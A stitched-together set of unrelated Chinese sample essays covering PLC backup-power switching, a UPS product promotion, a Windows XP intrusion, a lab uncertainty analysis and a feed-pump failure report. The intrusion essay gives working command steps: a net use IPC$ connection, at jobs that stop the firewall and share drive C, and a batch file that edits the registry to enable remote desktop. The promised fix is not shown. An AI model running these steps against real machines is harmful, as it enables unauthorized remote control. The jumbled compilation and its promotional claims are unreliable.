将其利用到备用电源的自动投入装置上带来的优点有：第一、可以省去很多的继电器和接触器以及线路的连接。由于PLC内部具有很多继电器，完全可以替代实际的继电器装置。第二、采用编程的方法使系统的开发更加快速和简便，处理速度快（平均执行一条指令的时间为微秒级甚至是纳秒级），内部的定时器要比传统的机械定时器精确度高很多。第三、可以通过预先规定好的协议将信息传送给其他PLC或者PC机，以实现对系统的监控和系统故障的自诊断，并且还可以连接诊断和在线调试，进而确保了系统的稳定性和可靠性。第四、由于其是利用程序来进行控制的，在对系统进行维护和修改时变得更加快捷和方便，不必像传统的那样要更换硬件和更改线路连接，只需要修改程序即可，大大缩短了维护周期。
1.3备用自动投入装置的控制需满足的控制要求
（1）当主电源由于故障而断电时，备用电源必须投入运行，但是若备用电源没有足够高的电压时，备用电源不能动作，而是进行相应故障的报警；（2）对于非故障的电源断电，如人工操作的切除电源，备用电源不能投入运行；（3）备用电源只有在主电源正常工作时才进行充电操作，而当其投入运行时不再进行充电；（4）当主电源断电故障消除后，主电源投入到工作状态，备用电源切除与负载的连接；（5）当系统设备发生故障时，应使供电电路立即跳闸并发出警报以保证设备的安全；（6）设备在切换动作时要具有一定的时限，以确保与其他保护装置的配合。
二、PLC在电网备用自动投入的应用举例
图1为某工厂的电气主接线图，从图中可以看出该系统采用的是内桥接线型。
其中通过电压互感器1TV和2TV分别检测主电源和备用电源的电压来确定电源的切换投入动作，3TV用来测量系统运行时的电压和功率。
2.1PLC程序控制的要求
正常工作时，电源1工作，电源2处于备用状态；当检测到1TV电压低于设定值时，利用程序控制1QF断开，接通2QF。同时监控各个电压互感器、电流互感器、过流保护装置的状态，并根据具体情况发出相应的警报。同理，当电源2处于工作状态时，在其出现故障时，2QF断开，1QF接通，将电源1切换到投入状态。需要注意的是，各个断路器和接触器动作的先后顺序和时间，如果出现错误可能导致系统发生短路，造成设备的烧毁或触电事故。
2.2根据需求选择PLC
目前我国主要流行的PLC产品生产厂家主要有德国西门子（Siemens）、日本三菱（MITSUBISHI）和欧姆龙（OMRON）、法国的施耐德（AEG Schneider）、美国的A-B（Allen-Bradley）、台达等。在选择PLC的类型时，要根据性价比最优的原则进行选择。这里在选择时根据工厂的规模和成本，依据性价比选择三菱系列PLC。
在确定PLC的型号之后，还要根据以下几点选出具体的型号：（1）数字量和模拟量的输入和输出点数。经过该系统的统计后，计算出数字量输入点数为27，数字量输出点数为19，模拟量输入点数为5。此外在实际应用时要考虑一定的裕量，按照经验一般取10%的裕量进行选择。程序输入的PLC数字量输入点数为30，数字量输出点数为22，模拟量输入点数为6。（2）PLC负载能力分析。当PLC在插入其他输入输出模块时，必须要考虑PLC的负载能力。PLC内部有5VDC电源供电，不同型号的CPU所能提供的最大扩展电流不同。经统计该系统所有继电器和断路器的工作电流总和约1000mA。另外，如果不考虑PLC负载能力，可采用外加电源的方式。（3）PLC所具有的功能模块。根据系统的设计条件，PLC应具有计数器、定时器等。然而一般的PLC都具有此功能模块，此情况可以不用考虑。
依据以上几点考虑情况，最终确定的PLC型号为三菱FX2N系列的FX2N-64RM+FX2N-8AD，共计输入点数为32，数字量输出点数为32，模拟量输入点数为8。
2.3电路的硬件设计
由于该工厂对于抗干扰的要求较高，在这里采用220VDC对PLC进行供电可以避免交流谐波信号对系统造成的干扰，以保证PLC的正常工作；对于传输线路采用屏蔽双绞线。模拟信号和数字信号之间采用光藕隔离技术；并且要具有必要的过压、失压保护，过电流和短路保护；避免接地故障可以采用TT型保护。
2.4PLC程序的设计
根据系统的设计要求，所编写程序应具有的功能：将电压互感器和电流互感器上的电压和电流信号转换为数字信号，并与预订值进行比较，确定系统当前的运行状态（如正常运行、失压、过流、短路）；根据采样取得的数据信息进行处理，控制相应的断路器、接触器、继电器、各种开关以及各种信号指示灯；将系统的各种状态信息传输给监控室的上位机，使相关技术人员准确掌握系统的运行状态，以确保系统的安全与可靠；能够完成对一些故障的自动处理能力。
在编写程序之前，要根据系统的各个输入输出对PLC进行地址分配，然后编写初始化代码以完成对系统数据的初始化，最后编写主程序和中断服务程序以完成对系统的控制。由于篇幅有限，现附上部分主要的自动投入过程的程序梯形图（图2）作为参考。
2.5联机调试、运行
pc电源范文3
绿色环保节能设计
凭借数十年积累的丰富经验，结合先进的设计理念，意大利先控不断创新产品，满足市场和用户不断变化的需求。为了拓展中国以及亚洲的新兴市场，意大利先控把绿色电源模块化UPS产品的生产基地定在了中国，旨在更好地贴近和服务亚洲市场。
据统计，由电源污染导致的用电设备故障占整体故障的60%以上，而电力污染源中真正由公网供电带来的污染不到5%，其主要污染是来源于内部电力使用者，所以倡导全社会创建绿色电力能源，是每一个企业及用电者应承担的社会责任和义务。
意大利先控紧随国际产业发展潮流，率先倡导和鼓励产品绿色节能环保。从产品研发到产品的整个生命周期，全面考虑用户的利益和对环境的影响。先控最新推出的新一代模块化系统，率先采用了“模块休眠技术”及“内置分配电系统”，大大提升了节能环保的效果，具备同行业领先水平。整个系统体积小、噪音低、配置灵活、维修方便，特别是与传统UPS相比输入电流谐波低、输入功率因数大，整机效率大大提高，是一款真正意义上的节能环保新产品，也成为符合国际潮流和满足绿色环保理念的市场主流产品。
产品特点
先控模块化UPS系统，由显示通讯模块、静态开关以及最多可由36个UPS功率模块构成。各模块之间均是智能独立运行，除了包含传统UPS的整流、滤波、充电、逆变器装置外，还采用了平均电流控制整流技术、同步控制技术和三阶正弦波逆变的新型技术。即使显示通讯模块、静态开关故障，UPS模块也可以维持正常输出，而不会出现停机的状况。各UPS模块可随意热插拔在线更换，按照客户需求来增加模块数量，构成N+X的冗余配置。UPS机柜中的所有功率模块平均负担系统负载，各并联模块皆为内置冗余的智能型独立个体，无需监控单元对并联系统集中控制。任何模块发生故障后（包括监控单元），它的冗余设计便会充分发挥效用，全面保障设备正常运转，最大限度地实现故障冗余，同时用户可根据需要选择超过一次容错率的冗余。系统借助功能强大的监控单元，全面独到的双向互动式监控技术，可自动对电池组进行均浮充转换和限流充电，并设置均浮充电压和充电限流值，同时具备温度补偿和自放电检测功能，可协助客户全面掌控系统运行状况，灵活方便快捷地对系统危机做出即时处理。配合每个功率模块内部专门设置的充电整流器，可靠性高，无高频杂波，避免高频波对电池寿命的影响，避免电池在充电时过热，延长了电池的使用寿命。智能化的冗余设计，不仅减少了系统本身和负载的风险系数，而且使外部负载受UPS保护时间全面延长。
在传统UPS产品中，一直存在着单台UPS容易出现单点故障的问题，为保障供电稳定，用户唯一的安全保障措施是采用“1 + 1”或“N + 1”的安全防范格局，该措施不仅造成较大的经济浪费，而且容错率低。理论上每台单机UPS最大带载量小于50%，实际使用中，通常每台单机带载仅为20%～30%，导致实际使用效率很低，造成不必要的能源浪费。先控休眠技术借鉴了汽车发动机的“可变汽缸管理技术”，是根据UPS电源实际带载量，使每一模块能自动配载，其余模块进入在线待机“休眠”状态。只有当过载或带载模块故障时，系统自动“唤醒”相应“休眠”模块，确保实际整机工作效率始终保持≥95%，最终实现负载容量与整机实际效率的完美结合。
先控内置分配电系统，减少了传统上外接输出分配电装置。在UPS 输出的一级中，每增加一个分电屏其内耗将会增加500mV，同时多了一级故障点。传统塔式UPS采用的是集中多级分电方式，将会产生1%～2%的能耗。而模块化UPS采用的是相对集中供电，在确保供电可靠性的前提下，可有效避免线间的损耗，从而进一步提高节能效果。所以它是一个真正意义上的绿色模块电源，既有效提升了系统的稳定性和可靠性，又方便用户的系统升级，同时降低了扩容成本。
专家评选
电信业一直以来都是UPS市场上最大的应用行业之一，伴随着通信网络规模和用户规模的不断扩大，通信行业的电费是除网络建设、运营维护、市场开发以外的第四大成本支出。通信运营企业响应国家节能减排的号召，充分意识到节能不仅对环境保护、创建可持续发展社会有着积极意义，同时也是运营商削减运营成本的重要途径。因此各大通信运营商现在普遍关注的是UPS的效率、谐波含量及电池充放电等技术指标的实现。广西电信互联网数据中心拥有广西最大的IDC机房，直接并入国家骨干通讯网络。因此，网络的安全和稳定运行至关重要。为此，广西电信公司专门成立了IDC扩容改造项目的招标小组，对各个电源厂家提出的解决方案认真研究和反复评议，经过多轮综合评选后，先控模块化UPS竞标成功。
吸引各评委的还是先控产品在节能方面的突出表现。先控CMS150系列模块化UPS在信息产业部泰尔检测中心测试的结果是THDI指标为 2.6，而UPS效率更是达到≥0.999。它的系统结构极具弹性，功率模块的设计概念是在系统运行时可随意移除和安装而不影响系统的运行及输出，使投资规划实现“随需扩展”，让用户随业务发展实现“动态成长”，既满足了后期设备的随需扩展，又降低了初期购置成本。
IDC用户在预计UPS容量时，时常会出现低估或高预计情况，尤其是在寸土寸金的IDC机房，模块化UPS可有效解决尽量减少设备占地面积、噪音辐射等问题，帮助用户在未来发展方向尚不明确的情况下分阶段进行建设和投资。当用户负载需要增加时，只需根据规划阶段性的增加功率模块即可。更值得电信行业注意的是UPS还可配接通信和电力行业现有的48V/110V/220V的电池组，大量节省用户对电池组的投资和维护。
pc电源范文4
Windows系列的操作系统都提供共享服务，这些共享服务的主要通道就是IPC。IPC是Internet ProcessConnection的简称，也称共享命名管道，它是为了让进程间通信而开放的命名管道，可以通过验证用户名和密码获得相应的权限，在远程管理计算机和查看计算机的共享资源时使用。这种入侵方式在Windows 2000普及的年代非常流行。
默认情况下Windows系列的操作系统都支持空连接，空连接是在没有信任的情况下与服务器建立的会话，换句话说，它是一个到服务器的匿名访问。利用ipc$，连接者可以与目标主机建立一个空的连接而无需用户名与密码(当然，对方机器必须开了ipc$共享，否则你是连接不上的)，而XP系统限制了空连接导出用户列表的功能，提高了安全性。
默认共享是系统安装完毕后就自动开启的共享，也叫管理共享，常被管理员用于远程管理计算机。在Windows2000/XP及其以上版本中。默认开启的共享有“c$”、“d$”、“admin$”、“ipc$”等，我们可以在“运行”对话框中输入“\\计算机名\盘符$”对这些资源进行访问，以上这些共享就叫做默认共享。默认共享是只面向管理员组用户开启的共享，也就是说只有管理员组的用户才能访问这些共享，非管理员组用户(即使是超级用户)不能进行访问。如果我们在对话框中输入的不是管理员组用户而是其他用户组的账户和密码(如guest组、backup operators组、power users组等)，系统是不会让我们访问该共享资源的。另外密码不能为空，否则也连不上XP的默认共享。
通常是无法利用IPC入侵原版XP的，最主要的原因是XP与2000在来访者的权限设置上是不同的，在XP中即使有管理员权限的用户和密码也不一定能建立联接或复制文件。
身份验证：XP默认是把从网络登录的所有用户都按来宾账户处理的，因此即使管理员从网络登录也只具有来宾的权限，在XP的(secpol.msc)本地安全设置/本地策略/安全选项中：
网络访问：本地帐户的共享和安全模式，有两个选项：
经典_本地用户以自己的身份验证
仅来宾_本地用户以来宾身份验证
当番茄花园系统安装完成后，所有的盘符默认共享自动关闭，远程桌面关闭，Remote Registry服务关闭，系统只开了IPC$通信命名管道，administrator密码为空，如果安全选项和空口令设置和原版相同，则系统也将是安全的，然而问题出来了，点开始/运行输入secpol.msc，展开本地安全设置/本地策略/安全选项中的“网络访问：本地帐户的共享和安全模式”，可以发现被改为“经典”。
空口令限制：在XP的注册表中有一项limitblank.passworduse，它是用来限制空口令连接的
[HKEY_LOcAL_MAcHINE\SYSTEM\ControlSet001\Control\LsaJ]
“limitblankpassworduse”＝dword:00000001
很明显看出来，通过导人注册表来修改安全设置。
O:代表空密码有效。1:代表空密码无效。
系统默认是1，可以有效防止黑客人侵。
而在番茄花园系统中，点开始/运行输入Regedit，展开[HKEY_LoCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa]发现limitblankpassworduse被改为O。这就意味着，黑客利用了XP管理员的弱口令。
入侵番茄花园版XP，需要针对XP系统的特点，开启和关闭一些服务(假设目标IP是192.168.1.5)。
1)net use\\192.168.1.5\IPC$" "/user:"admintitrators"。
看到“命令成功完成”提示，连接成功1
2)net time\\192.168.1.5
查查时间，发现192.168.1.5的当前时间是2007/5/6下午5:12，出现“命令成功完成”提示。
3)at\\192.168.1.5 17:14 net stop“Window$Firewall/Internet connection Sharing(ICS)”
用at命令启动net stop关闭对方计算机中的Windows Firewall/Intemet Connection sharing(ICS)服务以利于关闭Windows防火墙。
4)执行at\\192.168.1.5检查任务是否安排。
5)再次执行net time\\192.168.1.5获得远程机器时间。
发现192.168.1.5的当前时间是2007/5/6下午5:29，出现“命令成功完成”提示。
6)执行at 17:30\\192.168.1.5 net share diskc＝c:
开启192.168.1.5的C盘共享。
7)打开我的电脑，输入\\192.168.1.5\diskc，新建一个文本文件，输入以下内容
echo Windows Registry Editor Version 5.00>>3389.reg
echo[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset\Control\Terminal server]>>3389.reg
echo"fDenyTSConnections"＝dword:00000000>>3389.reg
echo[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcP]>>3389.reg
echo"PortNumber"＝dword:00000d3d>>3389.reg
echo[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcpl>>3389.reg
echo"PortNumber"＝dword:00000d3d>>3389.reg
regedit/s 3389.reg
del 3389.reg
将文件保存为3389.bat。
8)再次执行net time\\192.168.1.5获得远程机器时间，发现192.168.1.5的当前时间是2007/5/6下午6:29，出现“命令成功完成”提示。
9)执行at 18:30\\192.168.1.5c:\3389.bat。
10)点“开始/所有程序/附件/通讯”，运行“远程桌面连接”，输入192.168.1.5即可远程操作计算机了。
知道漏洞产生的原因后，修补起来也是相当的简单，关键是修改注册表中的limitblankpassworduse和forceguest的键值，将下面的内容保存为fix.reg，双击fix.reg，提示是否导入注册表，点确认后即可修补漏洞。
pc电源范文5
关键词:火焰原子吸收光谱法；电子电气产品；测定
Abstract: This paper, by flame atomic absorption spectrometry electric products lead (Pb), of cadmium (Cd), Cr (Cr) content introduces the atomic absorption spectrometry the whole process of the results and uncertainty, the weight of the standard uncertainty, uncertainty calculations.
Keywords: flame atomic absorption spectrometry; electrical and electronic products; determination
中图分类号：F416文献标识码： A 文章编号：
1实验方法
SN/T2004.2-2005电子电气产品中Pb、Cd和Cr的测定第2部分:火焰原子吸收光谱法。
1.1建立数学模型
RoHS中Pb、Cd和Cr含量的计算公式为X=(C测量值-C空白值)×V/M。
式中:X一试样中Pb、Cd和Cr的含量(mg/kg)；
C测量值一测定液中Pb、Cd和Cr的浓度(mg/L)；
C空白值一试剂空白中Pb、Cd和Cr的浓度(mg/L)；
V一试样消化后定容体积(mL)；
M一测定用试样量(g)。
1.2不确定度分析要素
对RoHS中的Pb、Cd和Cr含量测试过程的分析表明,影响其结果的因素见图1。
图1 RoHS中Pb、Cd和Cr含量分析的不确定度影响因子
2结果
2.1 C测量值和C空白值的不确定度分析
由两部分构成,其一是由5种标准溶液的浓度-吸收率拟合的直线求得C测量值所产生的不确定度；其二是由标准储备液配制成5种标准溶液时所产生的对C测量值带来的不确定度。
2.1.1标准曲线不确定度分析
(1)Cd的5种浓度的标准溶液的吸收值,每个浓度测定3次,结果见表1。
表1 不同浓度Cd的吸收率测量值
由表1中的数据进行线性拟合得出直线方程:A=B1×C+B0
其中:A为溶液的吸收率；B1=0.41215,B0=0.00004；C为溶液浓度。
对C测量值进行2次吸收值测量,由吸收值通过直线方程求得C测量值的值为1.021mg/L,则C测量值的标准不确定度为:
(1)
将上述各值代入(1)式,得出
u(C测量值)=0.062mg/L；u(C测量值)/C测量值=0.0621.021=0.064。
(2)Pb的5种浓度的标准溶液的吸收值,每个浓度测定3次,结果见表2。
表2 不同浓度Pb的吸收率测量值
由表2中的数据进行线性拟合得出直线方程:A=B1×C+B0
其中:A为溶液的吸收率；B1=0.02259,B0=0.00001；C为溶液浓度。
对C测量值进行2次吸收值测量,由吸收值通过直线方程求得C测量值的值为4.71mg/L。
同Cd的标准曲线不确定度分析方法一样,得到如下结果:
u(C测量值)=0.084mg/L；u(C测量值)/C测量值=0.0844.71=0.018。
(3)Cr的5种浓度的标准溶液的吸收值,每个浓度测定3次,结果见表3。
表3 不同浓度Cr的吸收率测量值
由表3中的数据进行线性拟合得出直线方程:A=B1×C+B0
其中:A为溶液的吸收率；B1=0.08828,B0=0.00003；C为溶液浓度。
对C测量值进行2次吸收值测量,由吸收值通过直线方程求得C测量值的值为3.042mg/L。
同Cd的标准曲线不确定度分析方法一样,得到如下结果:
U(C测量值)=0.014mg/L；u(C测量值)/C测量值=0.0143.042=0.017。
2.1.2标准溶液配置不确定度
1）由Cd标准贮备液配制标准溶液所产生的不确定度
(1)0.5mg/L标准溶液不确定度的大小
将贮备液(1000±2mg/L)按1:10、1:20、1:10分3次稀释得到0.5mg/L标准溶液,故:C0.5=Cstock/(f10×f20×f10)
其中:C0.5一0.5mg/L的溶液浓度；Cstock一贮备液浓度；
f为稀释因子,f=Vf/Vi,Vf为稀释前体积,Vi为稀释后体积。由于1:10稀释是采用10mL移液管和100mL容量瓶完成；1:20稀释是采用5mL移液管和100mL容量瓶完成。因此,f10=V100/V10=10；f20=V100/V5=20。
对5mL,10mL移液管和100mL容量瓶进行不确定度分析。由标定﹑刻度充满及校准和使用温度3个不确定度来源合成给出V5﹑V10﹑V100的不确定度见表4,并根据表4可求出稀释因子的不确定度。
表4 移液管和容量瓶的不确定度
将贮备液浓度的不确定度(2mg/L)转化成标准不确定度,按均匀分布有2/ =1.2mg/L。上述计算结果见表5,并根据表5可求出0.5mg/L标准溶液的不确定度。
表5 贮备液及稀释因子不确定度
同理,1、1.5、2.0、3.0mg/L标准溶液不确定度的大小分别为0.0032、0.00435、0.0017、0.0008mg/L。
综上所述,标准配置溶液的不确定度为:
= 0. 0099mg /L。
2）由Pb和Cr标准贮备液配制标准溶液所产生的不确定度
同理,按上述方法,得出有Pb和Cr标准贮备液配制标准溶液的不确定度为0.0318mg/L。
3.1.3 C测量值和C空白值的不确定度
综合考虑标准曲线不确定度和标准配置溶液的不确定度,则
对于Cd,C测量值的不确定度为:u(C)= =0.063mg/L；
对于Pb,C测量值的不确定度为:u(C)==0.089mg/L；
对于Cr,C测量值的不确定度为:u(C)=0.034mg/L。
同理,对于Cd、Pb和Cr,C空白值的不确定度分别为0.000021,0.000009和0.000007mg/L。
2.2 V的不确定度分析
样品定容的不确定度估计为0.005V,转化为标准偏差,按三角分布为u1=0.005V/61/2；以V=100mL,则u1=0.203。
实验室的温度在±t℃之间变化,所引起的不确定度通过估算温度范围与体积膨胀系数进行计算。液体的膨胀系数明显大于移液管的体积膨胀系数,所以考虑液体的膨胀即可。水的体积膨胀系数为r=2.1×10-4/℃,其u2=u3(V)=( ±t×r×V)/31/2；以V=100mL, t =2℃,则u2=0.023。
读数引起的不确定度,一般估计为0.01V,按三角分布转化为标准偏差为u3=0.01V/61/2；以V=100mL,则u3=0.406。
器皿校准的不确定度为±VmL,按三角分布转化为标准偏差为u4=vV/61/2mL。以V=100mL,vV=0.1mL,则u4=0.0406。
因此,V的不确定度为u(V)=[u12+u22+u32+u42]1/2=0.455。
2.3 M的不确定度分析
采用减量法称量样品的质量,其不确定度主要来源于天平校准和称量中的变动性。天平校准所引入的不确定度包括天平的线性和分辨力两个主要方面,由于2次称量的质量值在很窄的范围内,所以分辨力的影响可以忽略；根据天平制造商的建议,天平的线性为±0.15mg,采用矩形分布处理,标准不确定都为:u1(m)=0.15/ =0.087(mg)。
由于减量法涉及2次独立的称量,因此由天平校准产生的标准不确定度为:uj(m)=2u1(m)=0.12(mg)。在上述天平上,对2g左右的同一物体称量20次,得到的标准偏差为0.07mg,它代表了称量中的变动性所导致的标准不确定度。由此得到样品质量m的标准不确定度为:u(m)=0.14mg。
2.4电子电气产品中Pb、Cd、Cr的含量测试结果报告
2.4.1测试及计算结果
通过对影响电子电气产品中Pb、Cd、Cr测量结果的不确定度分量的分析和量化,求出被测量对象(Pb、Cd、Cr含量)的标准不确定度和扩展不确定度,然后给出各分量对总测量不确定度的相对贡献。
2.4.2结果表述
被测量的合成标准不确定度的公式为:
对于Pb、Cd、和Cr,其结果分别为4.57,1.26和1.84mg/kg。取包含因子k=2,计算扩展不确定度,对于Pb、Cd和Cr,其结果分别为9.14,2.52和3.68mg/kg。则电子电气产品中Pb、Cd和Cr的含量分别为235.5±9.1,20.42±2.52和152.1±3.7mg/kg,k=2。
参考文献
[1] 孙屏 庞芳芹.原子吸收分光光度法测定番茄酱中铜含量不确定度的评定[J].现代测量与实验室管理,2005.05
pc电源范文6
关键词：给水泵；抱住；修复；防范措施
DOI：10.16640/ki.37-1222/t.2017.04.108
0 前言
华电集团山东莱城电厂（机组容量：4×300MW）#3机电动给水泵为备用给水泵，型号为CHTC4/6sp，为原沈阳水泵厂引进德国KSB技术制造的多级高压给水泵，投产日期2002年，2015年12月21日定期升速试验时，转子抱住不动。
1 事件经过
2015年12月21日10：43，运行人员做#3机电泵升速试验，就地检查无异常，电泵上下壳温差最大为15℃，充分放气后启电泵，10：46 检查电前泵转而电泵不转，立即停运。解开对轮后，手动盘车不动。就地检查电泵地脚螺栓及顶丝等无异常，对液力偶合器进行勺管开度调速试验正常，检查电前泵及电泵入口滤网无堵塞、无破损等。解体时发现芯包末级叶轮拆卸难度较大，芯包部分返沈阳某水泵厂进行解体。
（1）以往检修情况：2012年9月曾进行了#3机电泵唯一的一次设备解体大修，由于7级叶轮均为热装在泵轴上，各级中段间为止口配合，现场也无芯包专用检修平台及专用检修工具，现场解体及复装时，施工难度就相当大，转子复装后也没有进行高速动平衡试验，无法保证复装后的转子能达到动平衡试验标准。大修后，曾因驱动端轴承振动大，2013年5月30日及2014年2月11日，两次进行对轮中心复查、调整。
（2）以往运行情况：2012年9月大修后至今日，除了每月定期3100rpm升速试验运行外，还有14次运行时间段（共计99小时4分钟），其中2015年11月27日22：07―11月28日17：50，B汽泵非驱动端机械密封更换时，电泵运行（19小时43分钟）。期间运行转速为3800―4740rpm，泵体振动较大，放空气后逐渐消失。
（3）其他情况：对2015年#3、4机电泵（同型号给水泵）最近5次定期升速试验时惰走时间统计，#3电泵惰走时间（平均123秒）明显小于#4电泵（平均249秒），说明#3电泵在惰走期间，动静之间有轻微摩擦的可能。
2 解体检查情况
（1）推力瓦正推瓦块有磨损。（2）泵轴弯曲，中部的4、5级叶轮处最大跳动值0.16mm，远大于标准值0.03mm，第1-7级及平衡盘处跳动值在0.12―0.16mm。（3）叶轮口环、轮毂及外径均有不同程度的磨损，其中第4、5、6级磨损严重，口环、轮毂及外径磨损可测量磨损量约1-1.5mm。（4）第一级导叶叶片全部磨损，与中段接触部分磨损量约0.5-1mm。（5）导叶衬套及密封环内径全部轻微磨损。（6）吸入段与第二级中段配合的密封面冲刷严重，已失效；第二级中段有4道贯通性旧裂纹，长度约为40―100mm，与第一级导叶相接触的密封面被导叶片碰磨，碰摩深度约0.5-1mm；第三级中段与第二级中段接触的密封面损坏；第五级中段与第六级中段接触的密封面损坏；第六级中段定心止口损坏2处。
3 原因分析
电泵在2012年9月大修后，由于现场检修条件较差，修后转子动平衡达不到质量标准；泵轴为挠性转子，经过一段时间运行，导致泵轴由弹性变形逐渐演变成塑性变形，转子弯曲越来越大；转子弯曲时，由于转子动静径向间隙很小，最大为0.50-0.60mm，运行时导致动静部分摩擦，叶轮口环、轮毂及外径磨损，轴承室及泵体均振动大；转速越高，离心力作用越大，转子中间位置偏心越大，动静部分摩擦越严重，导致第4、5、6级叶轮部分摩擦较为严重，平衡盘径向也出现磨损。中段部分在动静部分的摩擦所产生的强烈振动下，必然导致了摩擦、损坏。
2015年11月27-28日电泵运行时，泵体振动较大，除了动静部分摩擦所致外，泵体内积存空气也是原因之一；当泵体内无暖泵水或流量不足时，易导致泵体内积存空气。
2015年12月21日电泵升速试验时，由于泵轴已经弯曲较大且动静部分包括平衡盘已经磨损，在启动期间，转子前后轴向力无法形成平衡，朝向吸入端方向的轴向力瞬间增加，致推力瓦块磨损；转子弯曲过大导致动静部分抱死。
4 返厂处理措施
（1）泵轴 泵轴弯曲0.16mm，进行热处理直轴修复。（2）叶轮 清理全部叶轮流道、内孔、抛光；利用专用工装将轮毂和口环磨削到设计的修复尺寸，以保证配合间隙和对中心线的跳动。（3）导叶 分别按照导叶的内孔尺寸配制导义衬套，镶装并固定处理后，再车制内孔达到设计的修复尺寸，以保证配合间隙；第一级导叶叶片全部损坏，不能修复，更换新导叶。（4） 吸入段 吸入段与第二级中段的配合密封面“B”全部被破坏，将“B”面车削成平面，将要更换的第二级中段的相应部位加长以保证轴向安装尺寸不变；轴向定位的“A”平面，做修刮毛刺处理，以保证前后泵盖处的缠绕垫的压紧力不变。（5）中段 重新配制全部中段密封环；更换第二级中段，与吸入段的结合部按照吸入段修后的尺寸配制；第三极中段密封面进行焊补处理，然后再进行热处理，最后加工到符合图纸要求，第五、六级中段更换新件。
5 防范措施
（1）芯包解体大修时应外委由专业水泵厂家完成，以提高检修质量标准，修后必须做动平衡试验并合格。
（2）电泵备用期间，运行人员要定期监测泵体上下温差，当超过20℃时，要及时通知检修人员进行处理，设备启动前，应对泵体及入口管道充分放空气。
（3）定期对电泵暖泵截止门及逆止门进行解体检查，避免因阀芯脱落等原因导致暖泵水流量不足，备用期间应保证暖泵系统阀门处于全开状态。
（4）检修人员应定期对电泵保温材料进行检查，无缺失、厚薄不均匀等影响泵体保温效果的现象。
6 结束语
按照处理方案及防范措施执行后，运行一年多来，设备一直保持良好的运行状态，为机组的安全生产打下了良好的基础。
参考文献：
[1]郭立君.泵与风机[M].重庆大学.
